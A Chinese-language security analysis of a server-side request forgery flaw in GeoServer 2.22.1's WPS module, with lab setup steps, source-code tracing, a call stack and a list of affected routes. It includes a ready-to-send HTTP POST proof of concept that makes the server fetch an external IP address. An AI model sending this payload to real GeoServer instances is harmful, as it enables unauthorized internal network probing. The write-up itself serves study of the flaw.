环境搭建

这里选择的版本为2.22.1,便于分析两个漏洞

1
2
3
4
5
6
7
8
源码
https://codeload.github.com/geoserver/geoserver/zip/refs/tags/2.22.1

可执行文件
https://altushost-swe.dl.sourceforge.net/project/geoserver/GeoServer/2.22.1/geoserver-2.22.1-bin.zip

wps插件
https://sourceforge.net/projects/geoserver/files/GeoServer/2.22.1/extensions/geoserver-2.22.1-wps-plugin.zip/download

wps插件中的jar包放入webapps/geoserver/WEB-INF/lib中

startup.bat添加调试信息

1
2
3
4
5
6
7
:run
cd "%GEOSERVER_HOME%"
echo Please wait while loading GeoServer...
echo.
"%RUN_JAVA%" %JAVA_OPTS% -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005 -DGEOSERVER_DATA_DIR="%GEOSERVER_DATA_DIR%" -Djava.awt.headless=true -DSTOP.PORT=8079 -DSTOP.KEY=geoserver -jar start.jar
cd bin
goto end

start.ini修改jetty端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# --------------------------------------- 
# Module: http
# Enables an HTTP connector on the server.
# By default HTTP/1 is support, but HTTP2C can
# be added to the connector with the http2c module.
# ---------------------------------------
--module=http

### HTTP Connector Configuration

## Connector host/address to bind to
# jetty.http.host=0.0.0.0

## Connector port to listen on
jetty.http.port=18080

用jdk11运行startup.bat,服务启动成功

漏洞分析

WPS 组件允许用户创建发送到 Web 地图服务的 XML 正文。

img

可以从远程获取geographic CRSes

在org.geoserver.wps.Execute#run中会对body的xml进行解析,构造请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public ExecuteResponseType run(ExecuteType execute) {
ResponseDocumentType responseDocument = null;
OutputDefinitionType rawDataOutput = null;
if (execute.getResponseForm() != null) {
responseDocument = execute.getResponseForm().getResponseDocument();
rawDataOutput = execute.getResponseForm().getRawDataOutput();
}

if (responseDocument != null && rawDataOutput != null) {
throw new WPSException("Invalid request, only one of the raw data output or the response document should be specified in the request");
} else {
ExecuteRequest request = new ExecuteRequest(execute);
ExecuteResponseType response = this.executionManager.submit(request, !request.isAsynchronous());
return response;
}
}

org.geoserver.wps.executor.WPSExecutionManager#submit发请求

调用栈如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
call:419, WPSExecutionManager$Executor (org.geoserver.wps.executor)
submit:220, WPSExecutionManager (org.geoserver.wps.executor)
run:59, Execute (org.geoserver.wps)
execute:75, DefaultWebProcessingService (org.geoserver.wps)
invoke:-1, GeneratedMethodAccessor249 (jdk.internal.reflect)
invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
invoke:566, Method (java.lang.reflect)
invokeJoinpointUsingReflection:344, AopUtils (org.springframework.aop.support)
invokeJoinpoint:198, ReflectiveMethodInvocation (org.springframework.aop.framework)
proceed:163, ReflectiveMethodInvocation (org.springframework.aop.framework)
invoke:51, RequestObjectLogger (org.geoserver.ows.util)
proceed:186, ReflectiveMethodInvocation (org.springframework.aop.framework)
invoke:212, JdkDynamicAopProxy (org.springframework.aop.framework)
execute:-1, $Proxy132 (com.sun.proxy)
invoke:-1, GeneratedMethodAccessor248 (jdk.internal.reflect)
invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
invoke:566, Method (java.lang.reflect)
execute:867, Dispatcher (org.geoserver.ows)
handleRequestInternal:268, Dispatcher (org.geoserver.ows)
handleRequest:177, AbstractController (org.springframework.web.servlet.mvc)
handle:52, SimpleControllerHandlerAdapter (org.springframework.web.servlet.mvc)
doDispatch:1043, DispatcherServlet (org.springframework.web.servlet)
doService:943, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doPost:909, FrameworkServlet (org.springframework.web.servlet)
service:707, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:790, HttpServlet (javax.servlet.http)
service:1459, ServletHolder$NotAsync (org.eclipse.jetty.servlet)
handle:799, ServletHolder (org.eclipse.jetty.servlet)
doFilter:1656, ServletHandler$ChainEnd (org.eclipse.jetty.servlet)
doFilter:28, ThreadLocalsCleanupFilter (org.geoserver.filters)
doFilter:193, FilterHolder (org.eclipse.jetty.servlet)
doFilter:1626, ServletHandler$Chain (org.eclipse.jetty.servlet)
doFilter:73, SpringDelegatingFilter$Chain (org.geoserver.filters)
doFilter:48, HTTPHeadersCollector (org.geoserver.ows)
doFilter:70, SpringDelegatingFilter$Chain (org.geoserver.filters)
doFilter:194, LoggingFilter (org.geoserver.filters)
doFilter:70, SpringDelegatingFilter$Chain (org.geoserver.filters)
doFilter:43, SpringDelegatingFilter (org.geoserver.filters)
doFilter:193, FilterHolder (org.eclipse.jetty.servlet)
doFilter:1626, ServletHandler$Chain (org.eclipse.jetty.servlet)
doFilter:39, AdvancedDispatchFilter (org.geoserver.platform)
doFilter:193, FilterHolder (org.eclipse.jetty.servlet)
doFilter:1626, ServletHandler$Chain (org.eclipse.jetty.servlet)
doFilter:320, FilterChainProxy$VirtualFilterChain (org.springframework.security.web)
doFilter:71, GeoServerCompositeFilter$NestedFilterChain (org.geoserver.security.filter)
invoke:127, FilterSecurityInterceptor (org.springframework.security.web.access.intercept)
doFilter:91, FilterSecurityInterceptor (org.springframework.security.web.access.intercept)
doFilter:75, GeoServerCompositeFilter$NestedFilterChain (org.geoserver.security.filter)
doFilter:92, GeoServerCompositeFilter (org.geoserver.security.filter)
doFilter:334, FilterChainProxy$VirtualFilterChain (org.springframework.security.web)
doFilter:71, GeoServerCompositeFilter$NestedFilterChain (org.geoserver.security.filter)
doFilter:119, ExceptionTranslationFilter (org.springframework.security.web.access)
doFilter:75, GeoServerCompositeFilter$NestedFilterChain (org.geoserver.security.filter)
doFilter:92, GeoServerCompositeFilter (org.geoserver.security.filter)
doFilter:334, FilterChainProxy$VirtualFilterChain (org.springframework.security.web)
doFilter:53, GeoServerAnonymousAuthenticationFilter (org.geoserver.security.filter)
doFilter:334, FilterChainProxy$VirtualFilterChain (org.springframework.security.web)
doFilter:71, GeoServerCompositeFilter$NestedFilterChain (org.geoserver.security.filter)
doFilterInternal:158, BasicAuthenticationFilter (org.springframework.security.web.authentication.www)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
doFilter:75, GeoServerCompositeFilter$NestedFilterChain (org.geoserver.security.filter)
doFilter:92, GeoServerCompositeFilter (org.geoserver.security.filter)
doFilter:81, GeoServerBasicAuthenticationFilter (org.geoserver.security.filter)
doFilter:334, FilterChainProxy$VirtualFilterChain (org.springframework.security.web)
doFilter:71, GeoServerCompositeFilter$NestedFilterChain (org.geoserver.security.filter)
doFilter:105, SecurityContextPersistenceFilter (org.springframework.security.web.context)
doFilter:52, GeoServerSecurityContextPersistenceFilter$1 (org.geoserver.security.filter)
doFilter:75, GeoServerCompositeFilter$NestedFilterChain (org.geoserver.security.filter)
doFilter:92, GeoServerCompositeFilter (org.geoserver.security.filter)
doFilter:334, FilterChainProxy$VirtualFilterChain (org.springframework.security.web)
doFilterInternal:215, FilterChainProxy (org.springframework.security.web)
doFilter:178, FilterChainProxy (org.springframework.security.web)
doFilter:142, GeoServerSecurityFilterChainProxy (org.geoserver.security)
invokeDelegate:358, DelegatingFilterProxy (org.springframework.web.filter)
doFilter:271, DelegatingFilterProxy (org.springframework.web.filter)
doFilter:193, FilterHolder (org.eclipse.jetty.servlet)
doFilter:1626, ServletHandler$Chain (org.eclipse.jetty.servlet)
doFilter:77, XFrameOptionsFilter (org.geoserver.filters)
doFilter:193, FilterHolder (org.eclipse.jetty.servlet)
doFilter:1626, ServletHandler$Chain (org.eclipse.jetty.servlet)
doFilter:54, GZIPFilter (org.geoserver.filters)
doFilter:193, FilterHolder (org.eclipse.jetty.servlet)
doFilter:1626, ServletHandler$Chain (org.eclipse.jetty.servlet)
doFilter:49, SessionDebugFilter (org.geoserver.filters)
doFilter:193, FilterHolder (org.eclipse.jetty.servlet)
doFilter:1626, ServletHandler$Chain (org.eclipse.jetty.servlet)
doFilter:42, FlushSafeFilter (org.geoserver.filters)
doFilter:193, FilterHolder (org.eclipse.jetty.servlet)
doFilter:1626, ServletHandler$Chain (org.eclipse.jetty.servlet)
doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
doFilter:201, FilterHolder (org.eclipse.jetty.servlet)
doFilter:1626, ServletHandler$Chain (org.eclipse.jetty.servlet)
doHandle:552, ServletHandler (org.eclipse.jetty.servlet)
handle:143, ScopedHandler (org.eclipse.jetty.server.handler)
handle:600, SecurityHandler (org.eclipse.jetty.security)
handle:127, HandlerWrapper (org.eclipse.jetty.server.handler)
nextHandle:235, ScopedHandler (org.eclipse.jetty.server.handler)
doHandle:1624, SessionHandler (org.eclipse.jetty.server.session)
nextHandle:233, ScopedHandler (org.eclipse.jetty.server.handler)
doHandle:1440, ContextHandler (org.eclipse.jetty.server.handler)
nextScope:188, ScopedHandler (org.eclipse.jetty.server.handler)
doScope:505, ServletHandler (org.eclipse.jetty.servlet)
doScope:1594, SessionHandler (org.eclipse.jetty.server.session)
nextScope:186, ScopedHandler (org.eclipse.jetty.server.handler)
doScope:1355, ContextHandler (org.eclipse.jetty.server.handler)
handle:141, ScopedHandler (org.eclipse.jetty.server.handler)
handle:191, ContextHandlerCollection (org.eclipse.jetty.server.handler)
handle:146, HandlerCollection (org.eclipse.jetty.server.handler)
handle:127, HandlerWrapper (org.eclipse.jetty.server.handler)
handle:516, Server (org.eclipse.jetty.server)
lambda$handle$1:487, HttpChannel (org.eclipse.jetty.server)
dispatch:-1, 1024049552 (org.eclipse.jetty.server.HttpChannel$$Lambda$656)
dispatch:732, HttpChannel (org.eclipse.jetty.server)
handle:479, HttpChannel (org.eclipse.jetty.server)
onFillable:277, HttpConnection (org.eclipse.jetty.server)
succeeded:311, AbstractConnection$ReadCallback (org.eclipse.jetty.io)
fillable:105, FillInterest (org.eclipse.jetty.io)
run:104, ChannelEndPoint$1 (org.eclipse.jetty.io)
runTask:338, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
doProduce:315, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
tryProduce:173, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
run:131, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
run:409, ReservedThreadExecutor$ReservedThread (org.eclipse.jetty.util.thread)
runJob:883, QueuedThreadPool (org.eclipse.jetty.util.thread)
run:1034, QueuedThreadPool$Runner (org.eclipse.jetty.util.thread)
run:834, Thread (java.lang)

org.springframework.web.servlet.DispatcherServlet#doDispatch中分发请求会getHandler和method再反射调用,img

只有获取到org.geoserver.ows.OWSHandlerMapping,后续的service才会是wps

img

有多个路由都可以获取到org.geoserver.ows.OWSHandlerMapping,达成ssrf

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /geoserver/wps HTTP/1.1
Host: 192.168.118.1:18080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Content-Type: application/xml
Content-Length: 1018

<?xml version="1.0" encoding="UTF-8"?>
<wps:Execute version="1.0.0" service="WPS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns="http://www.opengis.net/wps/1.0.0" xmlns:wfs="http://www.opengis.net/wfs"
xmlns:wps="http://www.opengis.net/wps/1.0.0" xmlns:ows="http://www.opengis.net/ows/1.1"
xmlns:gml="http://www.opengis.net/gml" xmlns:ogc="http://www.opengis.net/ogc"
xmlns:wcs="http://www.opengis.net/wcs/1.1.1" xmlns:xlink="http://www.w3.org/1999/xlink"
xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd"><ows:Identifier>JTS:area</ows:Identifier><wps:DataInputs><wps:Input><ows:Identifier>geom</ows:Identifier><wps:Reference mimeType="application/json" xlink:href="http://39.107.138.71:6666/" method="GET"/> </wps:Input></wps:DataInputs><wps:ResponseForm><wps:RawDataOutput>
<ows:Identifier>result</ows:Identifier></wps:RawDataOutput></wps:ResponseForm></wps:Execute>

其他路由

漏洞触发点有很多,不仅限于wms,请求包构造不尽相同

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<prop key="/wms">dispatcher</prop>
<prop key="/wms/*">dispatcher</prop>
<prop key="/animate">dispatcher</prop>
<prop key="/animate/*">dispatcher</prop>
<prop key="/wfs">dispatcher</prop>
<prop key="/wfs/*">dispatcher</prop>
<prop key="/TestWfsPost">wfsTestServlet</prop>
<prop key="/wcs">dispatcher</prop>
<prop key="/wcs/*">dispatcher</prop>
<prop key="/ows">dispatcher</prop>
<prop key="/ows/**">dispatcher</prop>
<prop key="/kml/icon/**/*">kmlIconService</prop>
<prop key="/kml">dispatcher</prop>
<prop key="/kml/*">dispatcher</prop>
<prop key="/gwc/service/**">dispatcher</prop>
<prop key="/csw">dispatcher</prop>
<prop key="/csw/*">dispatcher</prop>
<prop key="/wps">dispatcher</prop>
<prop key="/wps/*">dispatcher</prop>
<prop key="/temp/**">filePublisher</prop>
<prop key="/gsr">gsrDispatcher</prop>
<prop key="/gsr/**">gsrDispatcher</prop>
<prop key="/ogc">apiDispatcher</prop>
<prop key="/ogc/**">apiDispatcher</prop>
<prop key="/oseo">dispatcher</prop>
<prop key="/oseo/*">dispatcher</prop>

漏洞修复

高版本增加了UrlChecker,插件和本地都需要diff